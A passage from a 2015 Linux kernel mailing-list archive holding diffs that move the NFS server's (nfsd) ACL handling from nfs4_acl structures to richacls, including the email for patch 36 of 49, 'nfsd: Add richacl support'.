RICHACE_ACCESS_DENIED_ACE_TYPE; + ace->e_flags = e_flags | RICHACE_SPECIAL_WHO; + ace->e_mask = deny_mask_from_posix(deny, flags); + ace->e_id.special = RICHACE_GROUP_SPECIAL_ID; } pa++; @@ -339,24 +333,22 @@ _posix_to_nfsv4_one(struct posix_acl *pacl, struct nfs4_acl *acl, deny = ~(pa->e_perm & pas.mask); deny &= pas.other; if (deny) { - ace->type = NFS4_ACE_ACCESS_DENIED_ACE_TYPE; - ace->flag = eflag | NFS4_ACE_IDENTIFIER_GROUP; - ace->access_mask = deny_mask_from_posix(deny, flags); - ace->whotype = NFS4_ACL_WHO_NAMED; - ace->who_gid = pa->e_gid; - ace++; - acl->naces++; + ace = richacl_append_entry(alloc); + ace->e_type = RICHACE_ACCESS_DENIED_ACE_TYPE; + ace->e_flags = e_flags | RICHACE_IDENTIFIER_GROUP; + ace->e_mask = deny_mask_from_posix(deny, flags); + ace->e_id.gid = pa->e_gid; } pa++; } if (pa->e_tag == ACL_MASK) pa++; - ace->type = NFS4_ACE_ACCESS_ALLOWED_ACE_TYPE; - ace->flag = eflag; - ace->access_mask = mask_from_posix(pa->e_perm, flags); - ace->whotype = NFS4_ACL_WHO_EVERYONE; - acl->naces++; + ace = richacl_append_entry(alloc); + ace->e_type = RICHACE_ACCESS_ALLOWED_ACE_TYPE; + ace->e_flags = e_flags | RICHACE_SPECIAL_WHO; + ace->e_mask = mask_from_posix(pa->e_perm, flags); + ace->e_id.special = RICHACE_EVERYONE_SPECIAL_ID; } static bool @@ -500,7 +492,7 @@ posix_state_to_acl(struct posix_acl_state *state, unsigned int flags) * and effective cases: when there are no inheritable ACEs, * calls ->set_acl with a NULL ACL structure. */ - if (state->empty && (flags & NFS4_ACL_TYPE_DEFAULT)) + if (state->empty && (flags & FLAG_DEFAULT_ACL)) return NULL; /* @@ -619,24 +611,24 @@ static void allow_bits_array(struct posix_ace_state_array *a, u32 mask) } static void process_one_v4_ace(struct posix_acl_state *state, - struct nfs4_ace *ace) + struct richace *ace) { - u32 mask = ace->access_mask; + u32 mask = ace->e_mask; int i; state->empty = 0; switch (ace2type(ace)) { case ACL_USER_OBJ: - if (ace->type == NFS4_ACE_ACCESS_ALLOWED_ACE_TYPE) { + if (ace->e_type == RICHACE_ACCESS_ALLOWED_ACE_TYPE) { allow_bits(&state->owner, mask); } else { deny_bits(&state->owner, mask); } break; case ACL_USER: - i = find_uid(state, ace->who_uid); - if (ace->type == NFS4_ACE_ACCESS_ALLOWED_ACE_TYPE) { + i = find_uid(state, ace->e_id.uid); + if (ace->e_type == RICHACE_ACCESS_ALLOWED_ACE_TYPE) { allow_bits(&state->users->aces[i].perms, mask); } else { deny_bits(&state->users->aces[i].perms, mask); @@ -645,7 +637,7 @@ static void process_one_v4_ace(struct posix_acl_state *state, } break; case ACL_GROUP_OBJ: - if (ace->type == NFS4_ACE_ACCESS_ALLOWED_ACE_TYPE) { + if (ace->e_type == RICHACE_ACCESS_ALLOWED_ACE_TYPE) { allow_bits(&state->group, mask); } else { deny_bits(&state->group, mask); @@ -657,8 +649,8 @@ static void process_one_v4_ace(struct posix_acl_state *state, } break; case ACL_GROUP: - i = find_gid(state, ace->who_gid); - if (ace->type == NFS4_ACE_ACCESS_ALLOWED_ACE_TYPE) { + i = find_gid(state, ace->e_id.gid); + if (ace->e_type == RICHACE_ACCESS_ALLOWED_ACE_TYPE) { allow_bits(&state->groups->aces[i].perms, mask); } else { deny_bits(&state->groups->aces[i].perms, mask); @@ -671,7 +663,7 @@ static void process_one_v4_ace(struct posix_acl_state *state, } break; case ACL_OTHER: - if (ace->type == NFS4_ACE_ACCESS_ALLOWED_ACE_TYPE) { + if (ace->e_type == RICHACE_ACCESS_ALLOWED_ACE_TYPE) { allow_bits(&state->owner, mask); allow_bits(&state->group, mask); allow_bits(&state->other, mask); @@ -689,32 +681,33 @@ static void process_one_v4_ace(struct posix_acl_state *state, } } -static int nfs4_acl_nfsv4_to_posix(struct nfs4_acl *acl, +static int nfs4_richacl_to_posix(struct richacl *acl, struct posix_acl **pacl, struct posix_acl **dpacl, unsigned int flags) { struct posix_acl_state effective_acl_state, default_acl_state; - struct nfs4_ace *ace; + struct richace *ace; int ret; - ret = init_state(&effective_acl_state, acl->naces); + ret = init_state(&effective_acl_state, acl->a_count); if (ret) return ret; - ret = init_state(&default_acl_state, acl->naces); + ret = init_state(&default_acl_state, acl->a_count); if (ret) goto out_estate; ret = -EINVAL; - for (ace = acl->aces; ace < acl->aces + acl->naces; ace++) { - if (ace->type != NFS4_ACE_ACCESS_ALLOWED_ACE_TYPE && - ace->type != NFS4_ACE_ACCESS_DENIED_ACE_TYPE) + richacl_for_each_entry(ace, acl) { + if (ace->e_type != RICHACE_ACCESS_ALLOWED_ACE_TYPE && + ace->e_type != RICHACE_ACCESS_DENIED_ACE_TYPE) goto out_dstate; - if (ace->flag & ~NFS4_SUPPORTED_FLAGS) + if (ace->e_flags & ~RICHACE_SUPPORTED_FLAGS) goto out_dstate; - if ((ace->flag & NFS4_INHERITANCE_FLAGS) == 0) { + if ((ace->e_flags & (RICHACE_FILE_INHERIT_ACE | + RICHACE_DIRECTORY_INHERIT_ACE)) == 0) { process_one_v4_ace(&effective_acl_state, ace); continue; } - if (!(flags & NFS4_ACL_DIR)) + if (!(flags & FLAG_DIRECTORY)) goto out_dstate; /* * Note that when only one of FILE_INHERIT or DIRECTORY_INHERIT @@ -723,7 +716,7 @@ static int nfs4_acl_nfsv4_to_posix(struct nfs4_acl *acl, */ process_one_v4_ace(&default_acl_state, ace); - if (!(ace->flag & NFS4_ACE_INHERIT_ONLY_ACE)) + if (!(ace->e_flags & RICHACE_INHERIT_ONLY_ACE)) process_one_v4_ace(&effective_acl_state, ace); } *pacl = posix_state_to_acl(&effective_acl_state, flags); @@ -733,7 +726,7 @@ static int nfs4_acl_nfsv4_to_posix(struct nfs4_acl *acl, goto out_dstate; } *dpacl = posix_state_to_acl(&default_acl_state, - flags | NFS4_ACL_TYPE_DEFAULT); + flags | FLAG_DEFAULT_ACL); if (IS_ERR(*dpacl)) { ret = PTR_ERR(*dpacl); *dpacl = NULL; @@ -752,8 +745,7 @@ out_estate: } __be32 -nfsd4_set_nfs4_acl(struct svc_rqst *rqstp, struct svc_fh *fhp, - struct nfs4_acl *acl) +nfsd4_set_acl(struct svc_rqst *rqstp, struct svc_fh *fhp, struct richacl *acl) { __be32 error; int host_error; @@ -774,9 +766,9 @@ nfsd4_set_nfs4_acl(struct svc_rqst *rqstp, struct svc_fh *fhp, return nfserr_attrnotsupp; if (S_ISDIR(inode->i_mode)) - flags = NFS4_ACL_DIR; + flags = FLAG_DIRECTORY; - host_error = nfs4_acl_nfsv4_to_posix(acl, &pacl, &dpacl, flags); + host_error = nfs4_richacl_to_posix(acl, &pacl, &dpacl, flags); if (host_error == -EINVAL) return nfserr_attrnotsupp; if (host_error < 0) @@ -803,82 +795,62 @@ out_nfserr: static short -ace2type(struct nfs4_ace *ace) +ace2type(struct richace *ace) { - switch (ace->whotype) { - case NFS4_ACL_WHO_NAMED: - return (ace->flag & NFS4_ACE_IDENTIFIER_GROUP ? - ACL_GROUP : ACL_USER); - case NFS4_ACL_WHO_OWNER: + if (ace->e_flags & RICHACE_SPECIAL_WHO) { + switch (ace->e_id.special) { + case RICHACE_OWNER_SPECIAL_ID: return ACL_USER_OBJ; - case NFS4_ACL_WHO_GROUP: + case RICHACE_GROUP_SPECIAL_ID: return ACL_GROUP_OBJ; - case NFS4_ACL_WHO_EVERYONE: + case RICHACE_EVERYONE_SPECIAL_ID: return ACL_OTHER; + default: + BUG(); + } } - BUG(); - return -1; -} - -/* - * return the size of the struct nfs4_acl required to represent an acl - * with @entries entries. - */ -int nfs4_acl_bytes(int entries) -{ - return sizeof(struct nfs4_acl) + entries * sizeof(struct nfs4_ace); + return ace->e_flags & RICHACE_IDENTIFIER_GROUP ? ACL_GROUP : ACL_USER; } -static struct { - char *string; - int stringlen; - int type; -} s2t_map[] = { - { - .string = "OWNER@", - .stringlen = sizeof("OWNER@") - 1, - .type = NFS4_ACL_WHO_OWNER, - }, - { - .string = "GROUP@", - .stringlen = sizeof("GROUP@") - 1, - .type = NFS4_ACL_WHO_GROUP, - }, - { - .string = "EVERYONE@", - .stringlen = sizeof("EVERYONE@") - 1, - .type = NFS4_ACL_WHO_EVERYONE, - }, -}; - -int -nfs4_acl_get_whotype(char *p, u32 len) +__be32 nfsd4_decode_ace_who(struct richace *ace, struct svc_rqst *rqstp, + char *who, u32 len) { - int i; - - for (i = 0; i < ARRAY_SIZE(s2t_map); i++) { - if (s2t_map[i].stringlen == len && - 0 == memcmp(s2t_map[i].string, p, len)) - return s2t_map[i].type; + int special_id; + + special_id = nfs4acl_who_to_special_id(who, len); + if (special_id >= 0) { + ace->e_flags |= RICHACE_SPECIAL_WHO; + ace->e_flags &= ~RICHACE_IDENTIFIER_GROUP; + ace->e_id.special = special_id; + return nfs_ok; } - return NFS4_ACL_WHO_NAMED; + if (ace->e_flags & RICHACE_IDENTIFIER_GROUP) + return nfsd_map_name_to_gid(rqstp, who, len, &ace->e_id.gid); + else + return nfsd_map_name_to_uid(rqstp, who, len, &ace->e_id.uid); } -__be32 nfs4_acl_write_who(struct xdr_stream *xdr, int who) +__be32 nfsd4_encode_ace_who(struct xdr_stream *xdr, struct svc_rqst *rqstp, + struct richace *ace) { - __be32 *p; - int i; - - for (i = 0; i < ARRAY_SIZE(s2t_map); i++) { - if (s2t_map[i].type != who) - continue; - p = xdr_reserve_space(xdr, s2t_map[i].stringlen + 4); + if (ace->e_flags & RICHACE_SPECIAL_WHO) { + unsigned int special_id = ace->e_id.special; + const char *who; + unsigned int len; + __be32 *p; + + if (!nfs4acl_special_id_to_who(special_id, &who, &len)) { + WARN_ON_ONCE(1); + return nfserr_serverfault; + } + p = xdr_reserve_space(xdr, len + 4); if (!p) return nfserr_resource; - p = xdr_encode_opaque(p, s2t_map[i].string, - s2t_map[i].stringlen); + p = xdr_encode_opaque(p, who, len); return 0; } - WARN_ON_ONCE(1); - return nfserr_serverfault; + if (ace->e_flags & RICHACE_IDENTIFIER_GROUP) + return nfsd4_encode_group(xdr, rqstp, ace->e_id.gid); + else + return nfsd4_encode_user(xdr, rqstp, ace->e_id.uid); } diff --git a/fs/nfsd/nfs4proc.c b/fs/nfsd/nfs4proc.c index 4ce6b97..2430235 100644 --- a/fs/nfsd/nfs4proc.c +++ b/fs/nfsd/nfs4proc.c @@ -159,12 +159,12 @@ is_create_with_attrs(struct nfsd4_open *open) * in the returned attr bitmap. */ static void -do_set_nfs4_acl(struct svc_rqst *rqstp, struct svc_fh *fhp, - struct nfs4_acl *acl, u32 *bmval) +do_set_acl(struct svc_rqst *rqstp, struct svc_fh *fhp, struct richacl *acl, + u32 *bmval) { __be32 status; - status = nfsd4_set_nfs4_acl(rqstp, fhp, acl); + status = nfsd4_set_acl(rqstp, fhp, acl); if (status) /* * We should probably fail the whole open at this point, @@ -299,7 +299,7 @@ do_open_lookup(struct svc_rqst *rqstp, struct nfsd4_compound_state *cstate, stru goto out; if (is_create_with_attrs(open) && open->op_acl != NULL) - do_set_nfs4_acl(rqstp, *resfh, open->op_acl, open->op_bmval); + do_set_acl(rqstp, *resfh, open->op_acl, open->op_bmval); nfsd4_set_open_owner_reply_cache(cstate, open, *resfh); accmode = NFSD_MAY_NOP; @@ -672,8 +672,7 @@ nfsd4_create(struct svc_rqst *rqstp, struct nfsd4_compound_state *cstate, nfsd4_security_inode_setsecctx(&resfh, &create->cr_label, create->cr_bmval); if (create->cr_acl != NULL) - do_set_nfs4_acl(rqstp, &resfh, create->cr_acl, - create->cr_bmval); + do_set_acl(rqstp, &resfh, create->cr_acl, create->cr_bmval); fh_unlock(&cstate->current_fh); set_change_info(&create->cr_cinfo, &cstate->current_fh); @@ -938,8 +937,8 @@ nfsd4_setattr(struct svc_rqst *rqstp, struct nfsd4_compound_state *cstate, goto out; if (setattr->sa_acl != NULL) - status = nfsd4_set_nfs4_acl(rqstp, &cstate->current_fh, - setattr->sa_acl); + status = nfsd4_set_acl(rqstp, &cstate->current_fh, + setattr->sa_acl); if (status) goto out; if (setattr->sa_label.len) diff --git a/fs/nfsd/nfs4xdr.c b/fs/nfsd/nfs4xdr.c index b8db5a7..8603f40 100644 --- a/fs/nfsd/nfs4xdr.c +++ b/fs/nfsd/nfs4xdr.c @@ -303,7 +303,7 @@ nfsd4_decode_bitmap(struct nfsd4_compoundargs *argp, u32 *bmval) static __be32 nfsd4_decode_fattr(struct nfsd4_compoundargs *argp, u32 *bmval, - struct iattr *iattr, struct nfs4_acl **acl, + struct iattr *iattr, struct richacl **acl, struct xdr_netobj *label) { int expected_len, len = 0; @@ -326,38 +326,31 @@ nfsd4_decode_fattr(struct nfsd4_compoundargs *argp, u32 *bmval, } if (bmval[0] & FATTR4_WORD0_ACL) { u32 nace; - struct nfs4_ace *ace; + struct richace *ace; READ_BUF(4); len += 4; nace = be32_to_cpup(p++); - if (nace > NFS4_ACL_MAX) + if (nace > NFSD4_ACL_MAX) return nfserr_fbig; - *acl = svcxdr_tmpalloc(argp, nfs4_acl_bytes(nace)); + *acl = svcxdr_alloc_richacl(argp, nace); if (*acl == NULL) return nfserr_jukebox; - (*acl)->naces = nace; - for (ace = (*acl)->aces; ace < (*acl)->aces + nace; ace++) { + richacl_for_each_entry(ace, *acl) { READ_BUF(16); len += 16; - ace->type = be32_to_cpup(p++); - ace->flag = be32_to_cpup(p++); - ace->access_mask = be32_to_cpup(p++); + ace->e_type = be32_to_cpup(p++); + ace->e_flags = be32_to_cpup(p++); + ace->e_mask = be32_to_cpup(p++); + if (ace->e_flags & RICHACE_SPECIAL_WHO) + return nfserr_inval; dummy32 = be32_to_cpup(p++); READ_BUF(dummy32); len += XDR_QUADLEN(dummy32) << 2; READMEM(buf, dummy32); - ace->whotype = nfs4_acl_get_whotype(buf, dummy32); - status = nfs_ok; - if (ace->whotype != NFS4_ACL_WHO_NAMED) - ; - else if (ace->flag & NFS4_ACE_IDENTIFIER_GROUP) - status = nfsd_map_name_to_gid(argp->rqstp, - buf, dummy32, &ace->who_gid); - else - status = nfsd_map_name_to_uid(argp->rqstp, - buf, dummy32, &ace->who_uid); + status = nfsd4_decode_ace_who(ace, argp->rqstp, + buf, dummy32); if (status) return status; } @@ -2148,18 +2141,6 @@ static u32 nfs4_file_type(umode_t mode) } static inline __be32 -nfsd4_encode_aclname(struct xdr_stream *xdr, struct svc_rqst *rqstp, - struct nfs4_ace *ace) -{ - if (ace->whotype != NFS4_ACL_WHO_NAMED) - return nfs4_acl_write_who(xdr, ace->whotype); - else if (ace->flag & NFS4_ACE_IDENTIFIER_GROUP) - return nfsd4_encode_group(xdr, rqstp, ace->who_gid); - else - return nfsd4_encode_user(xdr, rqstp, ace->who_uid); -} - -static inline __be32 nfsd4_encode_layout_type(struct xdr_stream *xdr, enum pnfs_layouttype layout_type) { __be32 *p; @@ -2303,7 +2284,7 @@ nfsd4_encode_fattr(struct xdr_stream *xdr, struct svc_fh *fhp, u32 rdattr_err = 0; __be32 status; int err; - struct nfs4_acl *acl = NULL; + struct richacl *acl = NULL; void *context = NULL; int contextlen; bool contextsupport = false; @@ -2349,7 +2330,7 @@ nfsd4_encode_fattr(struct xdr_stream *xdr, struct svc_fh *fhp, fhp = tempfh; } if (bmval0 & FATTR4_WORD0_ACL) { - err = nfsd4_get_nfs4_acl(rqstp, dentry, &acl); + err = nfsd4_get_acl(rqstp, dentry, &acl); if (err == -EOPNOTSUPP) bmval0 &= ~FATTR4_WORD0_ACL; else if (err == -EINVAL) { @@ -2504,7 +2485,7 @@ nfsd4_encode_fattr(struct xdr_stream *xdr, struct svc_fh *fhp, *p++ = cpu_to_be32(rdattr_err); } if (bmval0 & FATTR4_WORD0_ACL) { - struct nfs4_ace *ace; + struct richace *ace; if (acl == NULL) { p = xdr_reserve_space(xdr, 4); @@ -2517,17 +2498,16 @@ nfsd4_encode_fattr(struct xdr_stream *xdr, struct svc_fh *fhp, p = xdr_reserve_space(xdr, 4); if (!p) goto out_resource; - *p++ = cpu_to_be32(acl->naces); + *p++ = cpu_to_be32(acl->a_count); - for (ace = acl->aces; ace < acl->aces + acl->naces; ace++) { + richacl_for_each_entry(ace, acl) { p = xdr_reserve_space(xdr, 4*3); if (!p) goto out_resource; - *p++ = cpu_to_be32(ace->type); - *p++ = cpu_to_be32(ace->flag); - *p++ = cpu_to_be32(ace->access_mask & - NFS4_ACE_MASK_ALL); - status = nfsd4_encode_aclname(xdr, rqstp, ace); + *p++ = cpu_to_be32(ace->e_type); + *p++ = cpu_to_be32(ace->e_flags & ~RICHACE_SPECIAL_WHO); + *p++ = cpu_to_be32(ace->e_mask & NFS4_ACE_MASK_ALL); + status = nfsd4_encode_ace_who(xdr, rqstp, ace); if (status) goto out; } @@ -2792,7 +2772,7 @@ out: if (context) security_release_secctx(context, contextlen); #endif /* CONFIG_NFSD_V4_SECURITY_LABEL */ - kfree(acl); + richacl_put(acl); if (tempfh) { fh_put(tempfh); kfree(tempfh); diff --git a/fs/nfsd/xdr4.h b/fs/nfsd/xdr4.h index b698585..c311066 100644 --- a/fs/nfsd/xdr4.h +++ b/fs/nfsd/xdr4.h @@ -118,7 +118,7 @@ struct nfsd4_create { u32 cr_bmval[3]; /* request */ struct iattr cr_iattr; /* request */ struct nfsd4_change_info cr_cinfo; /* response */ - struct nfs4_acl *cr_acl; + struct richacl *cr_acl; struct xdr_netobj cr_label; }; #define cr_datalen u.link.datalen @@ -248,7 +248,7 @@ struct nfsd4_open { struct nfs4_file *op_file; /* used during processing */ struct nfs4_ol_stateid *op_stp; /* used during processing */ struct nfs4_clnt_odstate *op_odstate; /* used during processing */ - struct nfs4_acl *op_acl; + struct richacl *op_acl; struct xdr_netobj op_label; }; @@ -332,7 +332,7 @@ struct nfsd4_setattr { stateid_t sa_stateid; /* request */ u32 sa_bmval[3]; /* request */ struct iattr sa_iattr; /* request */ - struct nfs4_acl *sa_acl; + struct richacl *sa_acl; struct xdr_netobj sa_label; }; diff --git a/include/linux/nfs4.h b/include/linux/nfs4.h index 00121f2..1422fc6 100644 --- a/include/linux/nfs4.h +++ b/include/linux/nfs4.h @@ -16,29 +16,6 @@ #include #include -enum nfs4_acl_whotype { - NFS4_ACL_WHO_NAMED = 0, - NFS4_ACL_WHO_OWNER, - NFS4_ACL_WHO_GROUP, - NFS4_ACL_WHO_EVERYONE, -}; - -struct nfs4_ace { - uint32_t type; - uint32_t flag; - uint32_t access_mask; - int whotype; - union { - kuid_t who_uid; - kgid_t who_gid; - }; -}; - -struct nfs4_acl { - uint32_t naces; - struct nfs4_ace aces[0]; -}; - #define NFS4_MAXLABELLEN 2048 struct nfs4_label { diff --git a/include/linux/nfs4acl.h b/include/linux/nfs4acl.h new file mode 100644 index 0000000..db9f9a6 --- /dev/null +++ b/include/linux/nfs4acl.h @@ -0,0 +1,7 @@ +#ifndef __LINUX_NFS4ACL_H +#define __LINUX_NFS4ACL_H + +int nfs4acl_who_to_special_id(const char *, u32); +bool nfs4acl_special_id_to_who(unsigned int, const char **, unsigned int *); + +#endif -- 2.5.0 From agruenba@redhat.com Fri Oct 23 13:46:17 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 18A4A29E4D for ; Fri, 23 Oct 2015 13:46:17 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id BC997AC002 for ; Fri, 23 Oct 2015 11:46:16 -0700 (PDT) X-ASG-Debug-ID: 1445625975-04bdf0330c415e0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id V44irnOu9wbVn5Jh (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 23 Oct 2015 11:46:15 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id E56EEA58BD; Fri, 23 Oct 2015 18:46:14 +0000 (UTC) Received: from nux.redhat.com (vpn1-7-119.ams2.redhat.com [10.36.7.119]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9NIg3f5026588; Fri, 23 Oct 2015 14:46:08 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v12 36/49] nfsd: Add richacl support Date: Fri, 23 Oct 2015 20:41:49 +0200 X-ASG-Orig-Subj: [PATCH v12 36/49] nfsd: Add richacl support Message-Id: <1445625722-13791-37-git-send-email-agruenba@redhat.com> In-Reply-To: <1445625722-13791-1-git-send-email-agruenba@redhat.com> References: <1445625722-13791-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445625975 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On file systems with richacls enabled, get and set richacls directly instead of converting from / to posix acls. Signed-off-by: Andreas Gruenbacher Acked-by: J. Bruce Fields --- fs/nfsd/acl.h | 3 +- fs/nfsd/nfs4acl.c | 124 ++++++++++++++++++++++++++++++++++++++--------------- fs/nfsd/nfs4proc.c | 2 +- fs/nfsd/nfs4xdr.c | 34 +++++++++++---- 4 files changed, 117 insertions(+), 46 deletions(-) diff --git a/fs/nfsd/acl.h b/fs/nfsd/acl.h index 1c5deb5..d73c664 100644 --- a/fs/nfsd/acl.h +++ b/fs/nfsd/acl.h @@ -53,8 +53,7 @@ __be32 nfsd4_decode_ace_who(struct richace *ace, struct svc_rqst *rqstp, __be32 nfsd4_encode_ace_who(struct xdr_stream *xdr, struct svc_rqst *rqstp, struct richace *ace); -int nfsd4_get_acl(struct svc_rqst *rqstp, struct dentry *dentry, - struct richacl **acl); +struct richacl *nfsd4_get_acl(struct svc_rqst *rqstp, struct dentry *dentry); __be32 nfsd4_set_acl(struct svc_rqst *rqstp, struct svc_fh *fhp, struct richacl *acl); diff --git a/fs/nfsd/nfs4acl.c b/fs/nfsd/nfs4acl.c index 6d3bb72..f017a76 100644 --- a/fs/nfsd/nfs4acl.c +++ b/fs/nfsd/nfs4acl.c @@ -40,6 +40,8 @@ #include #include #include +#include +#include #include "nfsfh.h" #include "nfsd.h" @@ -129,32 +131,28 @@ static short ace2type(struct richace *); static void _posix_to_richacl_one(struct posix_acl *, struct richacl_alloc *, unsigned int); -int -nfsd4_get_acl(struct svc_rqst *rqstp, struct dentry *dentry, - struct richacl **acl) +static struct richacl * +nfsd4_get_posix_acl(struct svc_rqst *rqstp, struct dentry *dentry) { struct inode *inode = d_inode(dentry); - int error = 0; struct posix_acl *pacl = NULL, *dpacl = NULL; struct richacl_alloc alloc; unsigned int flags = 0; int count; pacl = get_acl(inode, ACL_TYPE_ACCESS); - if (!pacl) - pacl = posix_acl_from_mode(inode->i_mode, GFP_KERNEL); - - if (IS_ERR(pacl)) - return PTR_ERR(pacl); + if (IS_ERR_OR_NULL(pacl)) + return (void *)pacl; - /* allocate for worst case: one (deny, allow) pair each: */ + /* Allocate for worst case: one (deny, allow) pair each. The resulting + acl will be released shortly and won't be cached. */ count = 2 * pacl->a_count; if (S_ISDIR(inode->i_mode)) { flags = FLAG_DIRECTORY; dpacl = get_acl(inode, ACL_TYPE_DEFAULT); if (IS_ERR(dpacl)) { - error = PTR_ERR(dpacl); + alloc.acl = (void *)dpacl; goto rel_pacl; } @@ -163,7 +161,7 @@ nfsd4_get_acl(struct svc_rqst *rqstp, struct dentry *dentry, } if (!richacl_prepare(&alloc, count)) { - error = -ENOMEM; + alloc.acl = ERR_PTR(-ENOMEM); goto out; } @@ -172,13 +170,37 @@ nfsd4_get_acl(struct svc_rqst *rqstp, struct dentry *dentry, if (dpacl) _posix_to_richacl_one(dpacl, &alloc, flags | FLAG_DEFAULT_ACL); - *acl = alloc.acl; - out: posix_acl_release(dpacl); rel_pacl: posix_acl_release(pacl); - return error; + return alloc.acl; +} + +struct richacl * +nfsd4_get_acl(struct svc_rqst *rqstp, struct dentry *dentry) +{ + struct inode *inode = d_inode(dentry); + struct richacl *acl; + int error; + + if (IS_RICHACL(inode)) + acl = get_richacl(inode); + else + acl = nfsd4_get_posix_acl(rqstp, dentry); + if (IS_ERR(acl)) + return acl; + else if (acl == NULL) { + acl = richacl_from_mode(inode->i_mode); + if (acl == NULL) + acl = ERR_PTR(-ENOMEM); + } + error = richacl_apply_masks(&acl, inode->i_uid); + if (error) { + richacl_put(acl); + acl = ERR_PTR(error); + } + return acl; } struct posix_acl_summary { @@ -744,56 +766,88 @@ out_estate: return ret; } -__be32 -nfsd4_set_acl(struct svc_rqst *rqstp, struct svc_fh *fhp, struct richacl *acl) +static int +nfsd4_set_posix_acl(struct svc_rqst *rqstp, struct dentry *dentry, + struct richacl *acl) { - __be32 error; int host_error; - struct dentry *dentry; - struct inode *inode; + struct inode *inode = d_inode(dentry); struct posix_acl *pacl = NULL, *dpacl = NULL; unsigned int flags = 0; - /* Get inode */ - error = fh_verify(rqstp, fhp, 0, NFSD_MAY_SATTR); - if (error) - return error; - - dentry = fhp->fh_dentry; - inode = d_inode(dentry); - if (!inode->i_op->set_acl || !IS_POSIXACL(inode)) - return nfserr_attrnotsupp; + return -EOPNOTSUPP; if (S_ISDIR(inode->i_mode)) flags = FLAG_DIRECTORY; host_error = nfs4_richacl_to_posix(acl, &pacl, &dpacl, flags); if (host_error == -EINVAL) - return nfserr_attrnotsupp; + return -EOPNOTSUPP; if (host_error < 0) - goto out_nfserr; + return host_error; host_error = inode->i_op->set_acl(inode, pacl, ACL_TYPE_ACCESS); if (host_error < 0) goto out_release; - if (S_ISDIR(inode->i_mode)) { + if (S_ISDIR(inode->i_mode)) host_error = inode->i_op->set_acl(inode, dpacl, ACL_TYPE_DEFAULT); - } out_release: posix_acl_release(pacl); posix_acl_release(dpacl); -out_nfserr: + return host_error; +} + +static int +nfsd4_set_richacl(struct svc_rqst *rqstp, struct dentry *dentry, + struct richacl *acl) +{ + int host_error; + struct inode *inode = d_inode(dentry); + size_t size = richacl_xattr_size(acl); + char *buffer; + + if (!inode->i_op->setxattr || !IS_RICHACL(inode)) + return -EOPNOTSUPP; + + richacl_compute_max_masks(acl); + + buffer = kmalloc(size, GFP_KERNEL); + if (!buffer) + return -ENOMEM; + richacl_to_xattr(&init_user_ns, acl, buffer, size); + host_error = inode->i_op->setxattr(dentry, XATTR_NAME_RICHACL, + buffer, size, 0); + kfree(buffer); + return host_error; +} + +__be32 +nfsd4_set_acl(struct svc_rqst *rqstp, struct svc_fh *fhp, struct richacl *acl) +{ + struct dentry *dentry; + int host_error; + __be32 error; + + error = fh_verify(rqstp, fhp, 0, NFSD_MAY_SATTR); + if (error) + return error; + dentry = fhp->fh_dentry; + + if (IS_RICHACL(d_inode(dentry))) + host_error = nfsd4_set_richacl(rqstp, dentry, acl); + else + host_error = nfsd4_set_posix_acl(rqstp, dentry, acl); + if (host_error == -EOPNOTSUPP) return nfserr_attrnotsupp; else return nfserrno(host_error); } - static short ace2type(struct richace *ace) { diff --git a/fs/nfsd/nfs4proc.c b/fs/nfsd/nfs4proc.c index 2430235..1bcfda2 100644 --- a/fs/nfsd/nfs4proc.c +++ b/fs/nfsd/nfs4proc.c @@ -110,7 +110,7 @@ check_attr_support(struct svc_rqst *rqstp, struct nfsd4_compound_state *cstate, * in current environment or not. */ if (bmval[0] & FATTR4_WORD0_ACL) { - if (!IS_POSIXACL(d_inode(dentry))) + if (!IS_ACL(d_inode(dentry))) return nfserr_attrnotsupp; } diff --git a/fs/nfsd/nfs4xdr.c b/fs/nfsd/nfs4xdr.c index 8603f40..682a7d8 100644 --- a/fs/nfsd/nfs4xdr.c +++ b/fs/nfsd/nfs4xdr.c @@ -340,11 +340,24 @@ nfsd4_decode_fattr(struct nfsd4_compoundargs *argp, u32 *bmval, richacl_for_each_entry(ace, *acl) { READ_BUF(16); len += 16; - ace->e_type = be32_to_cpup(p++); - ace->e_flags = be32_to_cpup(p++); - ace->e_mask = be32_to_cpup(p++); - if (ace->e_flags & RICHACE_SPECIAL_WHO) + + dummy32 = be32_to_cpup(p++); + if (dummy32 > RICHACE_ACCESS_DENIED_ACE_TYPE) + return nfserr_inval; + ace->e_type = dummy32; + + dummy32 = be32_to_cpup(p++); + if (dummy32 & (~RICHACE_VALID_FLAGS | + RICHACE_INHERITED_ACE | + RICHACE_SPECIAL_WHO)) return nfserr_inval; + ace->e_flags = dummy32; + + dummy32 = be32_to_cpup(p++); + if (dummy32 & 